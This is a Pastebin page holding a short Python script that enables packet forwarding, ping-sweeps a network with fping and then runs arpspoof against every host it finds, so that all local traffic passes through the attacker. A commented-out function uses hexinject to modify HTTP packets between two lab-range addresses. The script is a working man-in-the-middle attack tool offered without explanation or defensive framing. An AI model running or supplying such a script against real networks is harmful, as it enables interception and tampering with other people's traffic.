Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import signal
- import subprocess
- import sys
- import threading
- def enable_packet_forwarding():
- args = "sysctl -w net.ipv4.ip_forward=1".split()
- subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- def do_fping_sweep(network):
- args = f"fping -aq -g {network}".split()
- p = subprocess.Popen(args, stdout=subprocess.PIPE)
- preprocessed, _ = p.communicate()
- return preprocessed.decode().strip().split()
- def get_own_ip():
- args = "hostname -I".split()
- return subprocess.check_output(args).decode().strip()
- def spoof(target):
- args = f"arpspoof {target}".split()
- subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- def inject():
- args = "hexinject -s -i eth0 -f 'src 192.168.56.102 && dst 192.168.56.101 && tcp && dst port 80' | awk '{ $37="00"; $38="35"; print }' | hexinject -p -i eth0".split()
- p = subprocess.Popen(args, stdout=subprocess.PIPE)
- def signal_handler(s, f):
- print("\nCleaning up..")
- sys.exit()
- if (__name__ == "__main__"):
- network = sys.argv[1]
- enable_packet_forwarding()
- print("Performing ping sweep to get reachable hosts..")
- hosts = do_fping_sweep(network)
- hosts.remove(get_own_ip())
- # Spoof all hosts on network
- print("Starting ARP spoof..")
- for target in hosts:
- print("Traffic to " + target + " is now intercepted..")
- t = threading.Thread(target=spoof, args=[target])
- t.start()
- print("CTRL+C to exit..")
- # Starting to inject
- #print("Starting to inject..")
- #t = threading.Thread(target=inject, args=[])
- #t.start()
- signal.signal(signal.SIGINT, signal_handler)
- signal.pause()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement